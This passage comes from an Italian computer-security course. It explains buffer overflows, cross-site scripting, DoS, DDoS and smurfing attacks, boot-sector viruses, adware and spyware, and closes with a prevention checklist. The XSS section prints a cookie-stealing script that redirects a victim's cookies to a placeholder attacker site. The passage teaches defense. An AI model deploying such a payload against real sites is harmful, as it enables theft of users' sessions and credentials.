vi scenari di utilizzo in rete e del fenomeno dei virus e dei
malware.
In particolare, in C, se si usano per l'input/output le li-
brerie standard, numerose funzioni non hanno la possibi-
lit di verificare se l'area di memoria di destinazione dei da-
ti (generalmente un array di caratteri) ha dimensioni suffi-
cienti per contenerli tutti. Esse comprendono:
le funzioni per la lettura di righe di testo da tastiera
(gets()),
le funzioni per la copia o concatenazione di stringhe (str-
cat(), strcpy()),
le funzioni per l'emissione di messaggi di output su buffer
in memoria centrale (sprintf(),vsprintf()),
e funzioni per interpretare stringhe ricevute da rete, disco
o tastiera, riconoscendo ed estraendone campi anche di
tipo stringa (famiglia di funzioni scanf())
In passato questa evidente pecca in cos tante impor-
tanti funzioni di libreria era considerata un deprecabile
infortunio con il quale tuttavia si poteva accettare di con-
vivere, dato che l'evenienza di passare "troppi" dati a una
di esse era generalmente il risultato di un errore di pro-
grammazione, ma i dati di troppo erano "genuinamente ca-
suali" e "innocenti" e potevano avere tutt'al pi l'effetto di
mandare in blocco l'applicazione. Qualche perdita di dati
(parzialmente ovviabile con frequenti salvataggi e regolari
backup) e la necessit di riavviare l'applicazione, costitui-
vano il bilancio dei fastidi causati da tali malfunzionamen-
ti. Tutto sommato ci si era abituati ad accettarlo come un
male necessario.
Purtroppo per, con il passare del tempo, qualche abi-
le malintenzionato ha intravisto la possibilit di sfruttare in
5.5.1.3 Essere al
corrente dei differenti
tipi di overflow e le
possibilit di
sfruttamento per
l'esecuzione di
codice.
modo assai sottile questo genere di malfunzionamento per
far eseguire al computer codice qualsiasi. In sostanza, per
esempio, se l'amministratore di sistema sta eseguendo
(con pieni poteri, evidentemente) un programma vulnera-
bile oppure un programma "ben scritto" ma fatto girare su
un sistema operativo vulnerabile, l'attaccante deve solo
riuscire a spedire un input opportuno a tale programma
per far eseguire alla macchina un proprio algoritmo con pri-
vilegi di amministratore, quindi con la possibilit di for-
mattare il disco, terminare processi di sistema o il sistema
stesso, accedere a dati sensibili e via dicendo. Vediamo bre-
vemente come.
Quando il programma in esecuzione, il suo codice ese-
guibile e le sue variabili sono ospitati in regioni ben preci-
se della memoria. Inoltre, quando nell'algoritmo una fun-
zione F1 a un certo punto P della sua esecuzione chiama
un'altra funzione F2, vi la necessit di ricordare l'indiriz-
zo dell'istruzione P, in modo tale che al termine della fun-
zione F2 si possa riprendere l'esecuzione di F1 dall'istru-
zione successiva a quella, P, in cui si era momentaneamen-
te interrotta.
L'indirizzo dell'istruzione successiva a P, detto "indi-
rizzo di ritorno" o return address (RA). Terminata l'esecu-
zione della funzione F2, il processore eseguir un salto al-
l'indirizzo RA, dove ci si aspetta che si trovino nuove istru-
zioni da eseguire (normalmente, come accennato, si tratta
delle istruzioni della parte restante della funzione F1).
Purtroppo, l'area di memoria in cui vengono alloggiate le
variabili della funzione e quella in cui viene alloggiato il re-
turn address sono contigue e si trovano entrambe sulla pi-
la (stack), con un ordinamento rigidamente fissato (e che
dipende dalle convenzioni usate dal processore). Su mac-
chine Intel, per esempio, si sa che l'indirizzo di parcheggio
del RA di una funzione si trova sempre a indirizzi successi-
vi a quelli in cui si trovano memorizzate le variabili locali di
quella funzione e dei suoi blocchi.
Se dunque la funzione contiene istruzioni delle famiglie
"vulnerabili" sopra ricordate, fatte lavorare su buffer che
ospitano variabili locali della funzione, allora esiste il ri-
schio che un buffer overflow possa andare a sovrascrivere
le locazioni di memoria successive, tra le quali, come ri-
cordato, c' il Return Address (RA) della funzione: l'indi-
rizzo al quale il processore salter quando la funzione sar
terminata.
Basterebbe quindi riuscire a costruire dati di input fatti
in modo tale che l'eccedenza vada esattamente a ricoprire
le locazioni del RA con un indirizzo desiderato per obbli-
gare il programma una volta terminata la funzione F a
proseguire l'esecuzione non seguendo il cammino norma-
le, ma saltando alla locazione scelta dall'attaccante.
Tale locazione pu essere, nei casi pi semplici:
l'indirizzo di un altro punto dello stesso programma, per
sconvolgere il funzionamento del programma o corrom-
pere i dati alterandone la logica di elaborazione nomina-
le;
un indirizzo non valido, per causare un crash immediato
del programma. In Linux l'effetto pu essere un core dump
con eccezione Segmentation Violation se l'indirizzo fuo-
ri dal segmento Codice, oppure Illegal Instruction se l'in-
dirizzo macroscopicamente valido ma corrispondente
a una locazione che non contiene un opcode valido, op-
pure ancora Bus Error se l'indirizzo non multiplo di 2, 4
o 8 bytes come richiesto dall'architettura del processore.
Sono per possibili anche opzioni pi subdole e pur-
troppo si tratta proprio della norma in questo genere di at-
tacchi: la locazione imposta dall'attaccante come Return
Address pu infatti essere:
l'indirizzo di una routine scritta apposta dall'attaccante e
progettata per causare specifici danni immediati, come
formattare il disco, spegnere il sistema, corrompere i da-
ti a caso, divulgare segreti (per esempio password, lista
dei bookmark, e-mail) trasmettendoli a terzi via rete, al-
l'insaputa dell'utente;
l'indirizzo di una routine che installa nel sistema un virus
o un malware, in modo tale da consolidare la "testa di
ponte" sul sistema e instaurare una vulnerabilit stabile
e ancora pi facile da sfruttare;
l'indirizzo di una routine progettata per mandare in ese-
cuzione un programma esterno (PE) con i medesimi pri-
vilegi dell'utente che sta facendo girare il programma sot-
to attacco. Come caso particolare di PE vi naturalmen-
te una shell dei comandi: una volta riuscito a far partire
una shell, l'attaccante pu far eseguire comandi qualsia-
si con gli stessi "poteri" dell'utente. Questo il tipo di at-
tacco pi potente (in quanto fornisce all'hacker lo spettro
pi ampio di possibilit e consente gli effetti pi critici) e
purtroppo anche il pi frequente.
Per montare quest'ultimo tipo di attacco, l'attaccante de-
ve scoprire innanzitutto se l'applicazione ha punti di vul-
nerabilit di questo genere, poi, dopo averne identificato
uno, costruire un input pattern "idoneo" a sfruttarlo, il che
richiede fondamentalmente di risolvere, tra gli altri, i se-
guenti problemi:
scrivere una routine che mandi in esecuzione il pro-
gramma desiderato
scoprire quante locazioni dista la locazione dove me-
morizzato il RA dalla locazione dove termina il buffer og-
getto dell'attacco, per sapere con precisione in che pun-
to del buffer collocare il RA;
posizionare nel buffer il codice macchina della routine in
modo tale che esso finisca con il trovarsi all'indirizzo im-
postato come RA;
evitare che il codice macchina nascosto nell'input pattern
contenga valori zero, in quanto essi sarebbero interpre-
tati come "fine stringa" e interromperebbero la copiatura
del buffer vanificando l'attacco.
Esistono tecniche che purtroppo permettono di svolge-
re con relativa facilit ognuno di questi compiti e sono ab-
bastanza facili da reperire anche esempi di "codice infet-
tante" per vari tipi di processore e sistema operativo.
Non approfondiremo oltre l'argomento, ma importan-
te osservare che, come abbiamo visto, i rischi sono vera-
mente gravi e purtroppo l'unica difesa sta nella collabora-
zione tra il produttore del software, che intraprende cam-
pagne di indagine e "bonifica" che culminano nel rilascio di
aggiornamenti critici e service pack, e l'utente finale, che
deve scaricare e installare tutti questi aggiornamenti ap-
pena disponibili, anche se in alcuni casi necessario con-
trollare che la patch non introduca nuovi problemi a sua
volta ( sufficiente verificare lesistenza su Internet di
eventuali segnalazioni in tal senso). Per lutente privato
consigliabile comunque lasciare abilitati eventuali mecca-
nismi di aggiornamento automatico del sistema (in am-
biente PC, Windows Update o Microsoft Update) e dell'an-
tivirus o antispyware prescelto. Producendo backup pe-
riodici che consentano di ripristinare il sistema alla situa-
zione precedente nel caso di patch problematiche (abba-
stanza rare).
Per approfondimenti su attacchi di tipo "buffer over-
flow": http://pintday.org/whitepapers/other/p49-14
Attacchi "cross-site scripting"
La visita di siti Web senz'altro diventata una delle ope-
razioni pi comuni su un PC attuale. Come anche i pi
sprovveduti ormai sanno, ci sono siti da considerare "affi-
dabili" e altri siti, invece, la cui visita pu comportare fa-
stidi o addirittura pericolo. Nei casi pi blandi, si infasti-
diti dall'apertura di altre finestre, popup e magari adescati
da qualche richiesta dinstallazione di dialer subdolamen-
te camuffata da proposta di plug-in pi o meno firmato e "si-
curo", ma niente che non si possa tenere a bada semplice-
mente chiudendo finestre e rispondendo "no". E soprat-
tutto, di solito la minaccia correlata al sito che si sta visi-
5.5.1.4 Essere al
corrente della
possibilit di attacchi
"cross-site
scripting".
tando: l'utente percepisce l'equazione "sito sospetto o
sconosciuto = stare in guardia". Questo, se non altro, ga-
rantisce un salutare aumento di prudenza almeno nelle si-
tuazioni pi palesemente a rischio.
I guai cominciano quando gli hacker utilizzano tecniche
con le quali riescono a dare all'ignaro navigatore l'impres-
sione di visitare normalmente un sito "sicuro", mentre in
realt stanno anche trafugando segreti o dati sensibili fa-
cendoli trasmettere pi o meno nascostamente a un loro si-
to di raccolta mentre in corso la visita del sito principa-
le. Attacchi di questo genere vanno sotto il nome di "cross-
site scripting": la locuzione "cross-site" si riferisce proprio
all'attacco orchestrato in modo tale da risultare in un tra-
sferimento di informazioni riguardanti il sito evidente ver-
so quello occulto, durante una visita apparentemente nor-
male del primo; il termine "scripting" ricorda la tecnica con
cui viene normalmente realizzato, ossia l'inserimento di op-
portune istruzioni JavaScript in un link o pagina.
Ma com possibile farlo senza che l'utente se ne accor-
ga? E quali sono le informazioni trafugabili?
Generalmente gli attacchi cross-site scripting (abbre-
viati CSS, o anche XSS, per non confonderli con i Cascading
Style Sheets) mirano a ottenere i valori dei cookie registra-
ti per altri siti.
Ricordiamo che i cookie (letteralmente: biscotti) sono
valori che molti siti web, quando vistati, memorizzano sul
browser del visitatore. Lo scopo pu essere quello di ri-
cordare alcune informazioni per non costringere l'utente a
reinserirle ogni volta: per esempio, per i siti che richiedo-
no registrazione per l'ingresso, i cookie potrebbero conte-
nere login e password; per i siti di commercio elettronico,
potrebbero venire memorizzati invece l'indirizzo di conse-
gna e (pericolosissimo) il numero dell'ultima carta di cre-
dito usata per gli acquisti su quel sito.
Altri siti "ricordano" l'ultima visita dell'utente per "salu-
tarlo" in occasione delle sue visite successive, anche sen-
za che egli debba effettuare esplicitamente un login.
Altri siti ancora utilizzano i cookie per fini meno grade-
voli, come il tracciamento delle abitudini dell'utente in ter-
mini di navigazione, ricerca o acquisto all'interno di un si-
to al fine di personalizzare i contenuti del banner pubblici-
tario esposto dal sito stesso.
Ora, considerando proprio il caso del numero della car-
ta di credito, ovvio che l'idea di memorizzarlo nel brow-
ser appaia quantomeno imprudente, soprattutto se vi la
possibilit che questa informazione possa essere letta da
altri a nostra insaputa.
In teoria il meccanismo dei cookie dovrebbe funzionare
nel rispetto di una regola di fondamentale importanza: i da-
ti raccolti da un sito servono solo al sito stesso e sono ac-
cessibili soltanto da quel sito.
Per tentare di circoscrivere il rischio di lettura dei
cookie da parte di terzi non autorizzati stato stabilito che
i cookie possano essere letti (o aggiornati) solo dal sito che
gli ha scritti: ossia, se un sito di vendite online ha memo-
rizzato in un proprio cookie il numero della mia carta di cre-
dito, non sar possibile per un altro sito accedere diretta-
mente allo stesso cookie. Garante del rispetto di tale re-
strizione dovrebbe essere il browser, il quale a tal fine me-
morizza, per ogni cookie, una serie di informazioni di con-
trollo, tra cui, innanzitutto, il sito titolare del cookie, ma an-
che la sua data di scadenza e via dicendo.
Tuttavia gli attacchi XSS possono riuscire ad aggirare ta-
le restrizione sfruttando le vulnerabilit se presenti di al-
cuni siti.
L'idea base di fare in modo che l'utente inconsapevol-
mente mandi al sito X, legittimo titolare del cookie Cx,
uninterrogazione nella quale i dati di input siano costitui-
ti da uno script JavaScript il cui effetto consiste nel legge-
re il valore del cookie e usarlo per costruire un'interroga-
zione a un sito Y.
Allora, se il sito X non protetto contro questo tipo di at-
tacco, accadr che il sito X ricever l'interrogazione e ten-
ter di servirla; i dati di input per sono sbagliati (perch
si tratta di un frammento di codice JavaScript anzich, per
esempio, di una stringa di ricerca valida, come il nome di
un articolo da acquistare o simile), perci X potrebbe vi-
sualizzare una pagina che riporta i dati di input ricevuti e
aggiunge, per esempio, la dicitura "No results found. Plea-
se try again". Il guaio che riportando esattamente i dati di
input cos come li ha ricevuti, il sito X ha "fatto la frittata".
Infatti quei dati di input erano un frammento di codice Ja-
vaScript e includendo tale codice, immutato, sulla pagina
che restituisce lerrore, il browser lo ha eseguito!
vero che quello che appare una pagina di errore del
sito X in cui si vede del codice JavaScript sospetto e che l'u-
tente sa di non aver mai digitato, e ci potrebbe mettere in
sospetto un utente pratico di JavaScript (comunque in ri-
tardo, visto che i dati, ormai, sono gi arrivati sul sito pi-
rata); ma l'utente medio con ogni probabilit considere-
rebbe la strana pagina apparsa un banale errore "come se
ne vedono tanti" e passerebbe oltre.
Ora, se il codice JavaScript fosse stato qualcosa del tipo
<script>alert(document.cookie)</script>
sarebbe apparsa una finestra contenente tutti i cookie at-
tualmente impostati dal sito X (finestra vuota, ovviamente,
se non ve ne sono ancora): un effetto sorprendente, ma tut-
to sommato ancora innocuo; se invece fosse stato qualco-
sa come
<script>document.location='http://miosito/
cgi-bin/mioscript.cgi?'+document.cookie</script>
allora tutti i cookie (si badi bene: quelli relativi al sito X!) sa-
rebbero stati spediti al sito "miosito" e qui dati in pasto al-
lo script "mioscript", che potrebbe per esempio archiviar-
li o usarne il valore per compiere acquisti a mio nome sul
sito X (usando i miei login e password su quel sito, se era-
no memorizzati nei cookie di X) o altrove, usando magari il
numero della mia carta di credito (se era memorizzato in
un cookie di X). In altre parole, l'attacco XSS riuscito nel-
l'impresa apparentemente impossibile di rendere accessi-
bili al sito "miosito" dei cookie "di propriet" di un altro si-
to, il sito X. Il trucco si basa sul fatto che formalmente il co-
dice JavaScript che richiede l'accesso al cookie Cx viene
eseguito su richiesta di una pagina generata dal sito X, il
che considerato valido dal browser il quale autorizza l'o-
perazione. Il problema che il valore ottenuto viene poi
usato come parametro di una query a un sito Y e a questo
punto... i buoi sono scappati dal recinto.
Tutto questo scenario fortunatamente possibile solo a
certe condizioni il cui verificarsi sempre pi improbabi-
le:
Il sito X deve essere vulnerabile a questo tipo di attacco:
ci si verifica quando X non esegue controlli sui dati di in-
put per rifiutarli quando contengono caratteri non am-
messi (per esempio, "<" e ">") o comunque stringhe che
sembrano essere codice JavaScript e non dati validi. Sem-
pre pi siti sono protetti su tale fronte, sia perch la con-
sapevolezza di tale problema si sta diffondendo, sia per-
ch i linguaggi in cui i siti sono realizzati ormai mettono
a disposizione librerie che integrano tale protezione.
Il sito X deve memorizzare nei cookie informazioni rile-
vanti come username, password, codice della carta di
credito, indirizzo personale. Questa politica alquanto im-
prudente sostanzialmente in via di abbandono. Nessun
sito di commercio elettronico vuole assumersi la re-
sponsabilit di aver causato il trafugamento dinforma-
zioni riservate dei suoi clienti a causa dell'imperizia dei
propri programmatori Web. A parte il gravissimo danno
d'immagine che ne deriverebbe, infatti, si pu ben pen-
sare alle serie complicazioni legali a cui, specie in certi
Paesi, si andrebbe incontro in una situazione del genere.
Al di l di queste due condizioni "tecniche", comunque,
si deve riuscire a fare in modo che l'utente mandi a X unin-
terrogazione contenente codice JavaScript senza che se ne
accorga. Questo, purtroppo, ancora relativamente facile
e probabilmente lo rimarr a lungo, anche a causa dell'im-
prudenza di troppi utenti. appena il caso di menzionare
il fatto che attacchi di questo tipo possono teoricamente
sfruttare non solo JavaScript, ma anche VBScript, ActiveX
e perfino Flash.
generalmente sufficiente includere una URL apposita-
mente costruita in una mail e fare in modo che l'utente sia
indotto ad aprire la mail e a cliccare sul link. Come pur-
troppo si sa, il fenomeno del phishing dimostra che la cu-
riosit forte e l'imprudente abitudine di aprire mail sen-
za controllare il mittente ancora diffusa.
Ancora pi subdolamente, possibile fare in modo che
l'attacco si scateni semplicemente perch in una mail rice-
vuta presente un'immagine la cui URL di caricamento in-
tegra gi lo script usato per l'attacco: quando il mail client
tenter di aprire l'immagine per mostrare il messaggio nel-
la sua completezza, l'attacco sar gi avvenuto. Non a ca-
so alcuni browser, come Firefox, bloccano "d'ufficio" la vi-
sualizzazione di immagini presenti nel messaggio se queste
sono provenienti da Internet e non allegate al messaggio.
Infine, un altro modo per far scattare l'attacco XSS pu
essere orchestrato anche tra siti Web (e qui la locuzione
"cross-site" calza a meraviglia), senza bisogno di usare la
posta come "innesco". Questa tecnica richiede per che l'u-
tente visiti un sito A in cui presente il link "maligno" al si-
to B (i cui cookie saranno inviati al sito C del pirata). da
escludere che un sito di buona reputazione scelga delibe-
ratamente dinserire nelle proprie pagine un link "maligno"
per scatenare un attacco XSS verso i propri visitatori. Tut-
tavia un sito potrebbe restare a sua volta vittima di terzi e
diventare inconsapevolmente esca per un attacco XSS. Per
esempio, accade spesso che i banner pubblicitari, ormai
onnipresenti anche su molti siti "fidati", siano immagini ge-
nerate da URL di lunghezza "sospetta". Essendo possibile
occultare parti di URL codificandole in esadecimale, per un
utente medio risulta difficile vedere che cosa, in realt, rap-
presentino tali URL.
Per approfondimenti sugli attacchi CSS/XSS si veda ad
esempio http://www.cgisecurity.com/articles/xss-faq.shtml
Gli attacchi Denial of Service (DoS)
e Distributed Denial of Service (DDoS)
Gli attacchi DoS e DDoS hanno lo scopo di mettere fuo-
ri uso un servizio su Internet oppure di impedirne l'uso da
parte di utenti legittimi.
Anche se questo tipo di minaccia vale per qualunque si-
to, la casistica pi clamorosa riguarda soprattutto siti com-
merciali ( ormai celebre e paradigmatico il caso degli at-
tacchi ai siti Amazon e Yahoo! avvenuti nel febbraio 2000).
La tecnica su cui si basa lattacco consiste nell'inviare in ra-
pida successione un numero esageratamente alto di ri-
chieste che, prese singolarmente, sarebbero del tutto nor-
mali. Ci pu provocare:
problemi di congestione a livello della connessione di re-
te usata dal sito Web;
un carico di lavoro eccessivo per il server applicativo.
Qualunque limite venga raggiunto per primo, il sito co-
mincer a manifestare disservizi osservabili per l'utente
normale.
Il primo tipo di esito, ossia la saturazione della connes-
sione di rete del sito sotto attacco, possibile solo se l'at-
taccante dispone di una banda pari o superiore a quella del
sito, cos da essere in grado di generare un flusso di ri-
chieste complessivamente insostenibile per il sito "vitti-
ma". Tale condizione improbabile per siti commerciali.
Pi realistica la seconda minaccia, qualora il server
non abbia capacit di calcolo, memoria, disco e I/O ade-
guatamente proporzionati alla banda verso Internet e al
5.5.1.5 Essere al
corrente della
possibilit di attacchi
"denial-of-service"
(DoS), e come i
diversi ambienti e
risorse ne risultino
affetti.
A
t
t
a
c
c
o
P
o
s
s
i
b
i
l
i

i
n
n
e
s
c
h
i
1B: Lutente visita inconsapevolmente un sito pirata
2B: Il sito pirata presenta una pagina su cui compare un link verso il sito fidato.
Nel link per occultato del codice JavaScript progettato per lattacco XSS
1A: Il sito pirata invia una e-mail che invita a visitare un sito fidato cliccando un link.
La mail non contiene allegati infetti ed realizzata in modo tale da non destare sospetti.
Il link per nasconde del codice JavaScript progettato per lattacco XSS
OPPURE
3: Lutente seleziona il link al sito fidato. Il browser si collega al sito ed
effettua una richiesta di elaborazione, di ricerca o altro, a seconda del sito;
nella URL trasmessa, come valore del parametro, c il codice JavaScript
Utente
Sito fidato Sito pirata
4: Il sito non riesce a processare lURL e ritorna una pagina
derrore in cui viene riportato testualmente il parametro errato.
Il valore di tale parametro per la stringa del codice JavaScript.
Il risultato quindi una pagina proveniente dal sito fidato,
ma contenente il codice JavaScript scritto dallattaccante
5: Il browser esegue automaticamente il codice JavaScript che ha trovato
nella pagina inviata dal sito fidato. Il codice JavScript legge i cookies del sito
fidato e li usa per costruire una URL con cui viene fatto un accesso al sito
pirata. A questo punto il sito pirata ha gi ricevuto le informazioni segrete
Browser
flusso di richieste che essa permette teoricamente di rice-
vere.
Infatti, se il numero di richieste inviate per unit di tem-
po supera la capacit di evasione del sito, questultimo co-
mincer ad esserne subissato. Le richieste in arrivo (com-
prese quelle degli utenti "normali") inizieranno ad essere
accodate, causando progressivamente, a seconda dell'en-
tit dell'"ingorgo", ritardi sempre pi grandi, la saturazione
della coda, con perdita delle nuove richieste, o addirittura,
in casi estremi, il blocco del sistema. Di conseguenza, il ser-
vizio normalmente erogato dal sistema risulta sospeso,
inaccessibile agli utenti: di qui la definizione Denial of Ser-
vice (letteralmente, "negazione di servizio").
La principale forma di difesa per i fornitori del servizio
consiste nel predisporre barriere preventive (spesso sui fi-
rewall) per limitare il numero di richieste in entrata a un va-
lore sostenibile. In tal modo, il "volume di fuoco" scatena-
to dai pirati viene bloccato, o per meglio dire "modulato",
da questa prima linea di difesa, assai pi capace di resiste-
re rispetto al server vero e proprio. Non si tratta tuttavia di
una soluzione soddisfacente, in quanto protegge il server
dal rischio di collassare per l'eccessiva quantit di richie-
ste, ma non interrompe l'attacco, che continua a conge-
stionare la connessione di rete usata dal sito, e quindi non
garantisce che il servizio riesca a mantenere un throughput
normale (per throughput sintende la quantit di lavoro
che un computer riesce a svolgere per unit di tempo).
In alternativa, si pu tentare didentificare la macchina
usata per mandare i messaggi di disturbo e "bandirla", os-
sia cominciare a ignorare sistematicamente qualsiasi mes-
saggio provenga dal suo indirizzo. L'attaccante pu tuttavia
neutralizzare tale difesa mediante tecniche di "spoofing",
ossia falsificando l'indirizzo del mittente in tutti i pacchet-
ti che manda. Se in ogni pacchetto viene inserito un indi-
rizzo casuale, ogni volta diverso, un analizzatore di traffico
posto a difesa del sito non potr identificare nessun mit-
tente specifico da "bandire" e non potr quindi identifica-
re e scartare i pacchetti usati per l'attacco.
Non solo, ma anche ammettendo che l'attaccante non
usi la contromossa spoofing, la strategia di "imbavagliare"
un sito mittente per arginare l'attacco troppo "sbrigativa"
in quanto rischia di penalizzare utenti "innocenti" prove-
nienti dallo stesso sito: essi vedrebbero infatti rifiutate le lo-
ro richieste, che in base all'indirizzo di provenienza sareb-
bero tecnicamente considerate come partecipanti all'at-
tacco.
Ma si tratta solo di misure palliative: l'unica difesa effi-
cace consisterebbe nellimpedire l'attacco all'origine, ad
esempio ottenendo lidentificazione del responsabile me-
diante il contributo del system administrator del sistema
da cui provengono le richieste (cosa questa non sempre ba-
nale tecnicamente, per non parlare degli aspetti legali con-
nessi al tema della privacy).
Per aumentare ulteriormente la violenza di questo tipo
di attacchi, e per aggirare le forme di difesa fin qui descrit-
te, esiste la variante Distributed Denial of Service (DDoS) in
cui gli hacker fanno in modo far provenire le richieste, per
esempio a rotazione, da un gran numero dindirizzi diversi
(anche centinaia di migliaia), in modo che da un lato risul-
ti difficile individuare chiaramente gli indirizzi responsabi-
li dell'attacco, e dall'altro non risulti accettabile bandire
troppi indirizzi per il rischio di penalizzare gli utenti "nor-
mali" provenienti dagli stessi indirizzi. Senza contare che gli
indirizzi di provenienza indicati nei pacchetti delle richie-
ste potrebbero essere fasulli.
Per "convincere" migliaia di sistemi a "partecipare" in-
consapevolmente a un attacco DDoS, gli hacker possono
per esempio immettere in rete un virus programmato per
rimanere quiescente e diffondersi rapidamente fino a una
certa data prestabilita, per poi attivarsi improvvisamente e
simultaneamente in tutto il mondo, indirizzando un volume
abnorme di richieste a un solo sito Web prefissato.
Un'altra tecnica che gli aggressori possono impiegare
per aumentare il proprio potere di disturbo detta "smur-
fing" e sfrutta sottilmente una particolarit di funziona-
mento del comando PING e del modo in cui sono trattati i
suoi pacchetti. L'idea consiste nellusare una rete R di sva-
riati host come "cassa di risonanza" e di rovesciare poi il
"suono amplificato" sull'host H da attaccare. Per questo,
l'attaccante invia un pacchetto PING, in cui ha falsificato
l'indirizzo del mittente inserendo quello dell'host H, verso
l'indirizzo di broadcast della rete R. I pacchetti vengono in
tal modo inviati a tutti gli host della rete R. Ciascuno di es-
si risponder al ping mandando un pacchetto di risposta al-
l'indirizzo del mittente... che come abbiamo detto stato
impostato all'indirizzo di H. Questo effetto "moltiplicatore"
consente all'attaccante di amplificare il proprio potere di
disturbo e di asservire intere reti al proprio fine, inondan-
do l'host attaccato di risposte PING provenienti da una plu-
ralit dindirizzi origine. Le difese contro questo tipo di at-
tacco richiedono che i router delle varie reti "non si pre-
stino al gioco" e blocchino automaticamente flussi di traf-
fico di natura chiaramente sospetta quando li rilevano. Ma
reti e router su Internet sono centinaia di migliaia o milio-
ni ed sempre possibile che ve ne sia qualcuna non per-
fettamente protetta e che l'hacker la scopra e tenti di sfrut-
tarla.
Vie di accesso al PC
Abbiamo visto che uno dei modi per scatenare effetti in-
desiderati nei programmi sfruttandone difetti e vulnerabi-
lit consiste nel fornire dati "opportunamente" scelti in in-
put.
Ma quali sono le strade attraverso le quali pu passare
questo flusso di dati? E in quali circostanze tali strade ri-
sultano effettivamente aperte e percorribili?
Un computer collegato con l'ambiente esterno trami-
te periferiche e porte di rete. Va detto subito che non tutte
presentano uguale criticit. Alcune, come le connessioni di
rete, possono essere esposte in modo continuativo a in-
trusioni interamente dovute a cause esterne. Altre, come le
unit floppy o CD-ROM, possono rappresentare una via
d'entrata solo a condizione che l'inconsapevole utente in-
serisca un supporto ed apra applicazioni o dati che vi so-
no presenti.
Ci significa che le misure preventive dovranno avere
modalit adatte alla tipologia della via d'accesso.
Floppy disk. Il maggior rischio con i floppy disk si corre
quando li si dimentica nel drive e si spegne il PC. Alla riac-
censione, se non ci si ricorda di estrarre il disco, il sistema
tenter anzitutto, nel 99% dei casi, di effettuare l'avvio del
sistema operativo (bootstrap) dal floppy, prima di ripiega-
re sul "classico" avvio da hard disk. Questa infatti l'impo-
stazione pi comune a livello di BIOS.
Come si sa, se il floppy non avviabile, a seconda della
versione di DOS o Windows apparir un messaggio del tipo
"Non-system disk or disk error. Please insert a valid boot di-
sk and press any key". Ci che non tutti sanno che tale
messaggio non visualizzato dal BIOS, ma da un piccolo
programma che si trova nel boot sector del floppy stesso.
In altre parole, nel momento in cui ci viene comunicato che
il floppy non avviabile, del software residente su di esso
stato comunque gi eseguito ed stato proprio quel
software a chiederci di cambiare disco e riavviare.
Sfortunatamente tale sistema fa s che se un virus riesce
a installarsi nel settore di boot di un floppy, nello scenario
sopra descritto sar eseguito prima che ce ne accorgiamo.
Oltretutto i virus di questo tipo sono astutamente proget-
tati in modo da emettere esattamente il "normale" mes-
saggio di disco non avviabile, cos da non mettere in allar-
me l'utente. Una volta apparso il messaggio, insomma, il no-
stro sistema potenzialmente gi infettato dal virus, che ha
immediatamente provveduto a trascriversi su qualche
area del disco fisso (per esempio, il relativo settore di boot)
5.5.1.6 Conoscere
le vie d'accesso ad
un sistema
informatico: floppy,
CD-ROM, email,
navigazione web,
client di chat.
in modo tale da essere rieseguito anche al prossimo avvio,
quando il floppy sar rimosso dal lettore.
Check list per la prevenzione degli attacchi
Dotarsi di una soluzione antivirus efficace e tenere
regolarmente aggiornato il pattern file che contiene le
firme per identificare i vari tipi di virus; far eseguire
periodicamente scansioni totali del sistema; analizzare
con l'antivirus programmi e file appena scaricati prima di
eseguirli o di aprirli.
Installare uno strumento antimalware con protezione in
tempo reale; abilitare l'aggiornamento automatico;
eseguire comunque periodiche scansioni complete del
sistema.
Visitare regolarmente i siti dei produttori del sistema
operativo e del software applicativo utilizzato sul proprio
sistema e scaricare e installare gli eventuali
aggiornamenti relativi alla sicurezza.
Scegliere tutte le password in modo opportuno (e diverse
tra loro) e cambiarle periodicamente (vedi la lezione 2
per lapproccio corretto nella scelta di una password).
Installare un firewall e configurarlo con un insieme
equilibrato di restrizioni e controlli sul traffico di rete.
Se possibile, evitare di lasciare il computer acceso e
collegato in rete quando non lo si usa. Disabilitare
opzioni come la condivisione di file e stampanti, se non
necessarie.
Evitare di aprire gli attachment di email senza averli
prima esaminati con un antivirus e disattivare sul
programma di posta elettronica ogni eventuale funzione
di anteprima messaggio. Se presente, utilizzare la
funzione che disabilita il caricamento delle immagini
presenti nelle mail. Caricare le immagini solo dopo aver
verificato che la mail proviene da un indirizzo fidato.
Nell'installare e configurare un nuovo programma,
diffidare delle opzioni "anteprima" e di quelle che
abilitano l'esecuzione automatica di script e macro
all'apertura dei documenti; riflettere sempre anche sulla
reale necessit di attivare quelle che comportano
connessioni automatiche a siti Web da parte del
programma.
Durante la navigazione Web e nella lettura delle mail:
o diffidare delle URL misteriosamente lunghe e
contenenti lunghe sequenze di valori esadecimali o,
peggio, codice JavaScript;
o diffidare dei dialog box che propongono l'installazione
di plug-in, "viewer" e applicativi vari, anche se firmati in
modo digitale, se l'autore ignoto;
o tenere il browser impostato su un livello di sicurezza
"medio" o "alto"
Evitare sempre di avviare il sistema con un floppy di
dubbia provenienza (o usato in precedenza su altri
sistemi poco controllati). Tenere sempre a disposizione
un disco di avvio, protetto da scrittura, che sia stato
controllato con un antivirus aggiornato.
..e, naturalmente, eseguire sempre regolarmente il
backup dei propri dati, per essere preparati all'evenienza
che le misure preventive sopra suggerite non fossero suffi-
cienti.
Adware
Adware l'abbreviazione di "advertising-supported
software". Vanno sotto questo nome quei programmi gra-
tuiti il cui produttore si finanzia attraverso l'introito pub-
blicitario relativo a piccoli "banner" o pop-up windows che
compaiono, spesso con aggiornamento periodico, nellin-
terfaccia grafica dell'applicazione. Talvolta l'adware an-
che disponibile in versione "ad-free", priva dei noiosi mes-
saggi pubblicitari per a pagamento.
Fin qui nulla di grave: si tratta solo di una forma di au-
tofinanziamento che, se attuata apertamente e accettata
dall'utente, dopotutto significa anche poter disporre legal-
mente di software del tutto gratuito.
Il problema sta piuttosto nel fatto che spesso il softwa-
re adware cede alla tentazione di diventare anche un p
spyware, ossia raccoglie informazioni sulle abitudini Web
dell'utente, magari per personalizzare i messaggi pubblici-
tari e raccogliere tariffe pi alte dagli inserzionisti. Un clas-
sico esempio Kazaa. Anche qui tutto bene, a condizione
che l'utente sia messo al corrente di quanto avviene in
background mentre usa il programma. In molti casi cos
(anche se le relative informazioni sono magari annegate in
un mare di clausolette scritte in piccolo nell'accordo di li-
cenza che viene presentato all'atto dell'installazione e che
in pratica nessuno legge mai), ma si sospetta che in molti
casi gli adware funzionino anche come spyware senza di-
chiararlo chiaramente.
Spyware
Uno spyware un programma progettato per racco-
gliere segretamente informazioni sulla macchina in cui
installato e poi trasmetterle via rete a un sito di raccolta.
Lo scopo pu essere dinviare pubblicit non richiesta
(spam), oppure di scoprire informazioni sensibili come
password e codici di carte di credito.
La raccolta dinformazioni pu avvenire attraverso
un'ispezione dei cookie del browser o dei file trovati sui
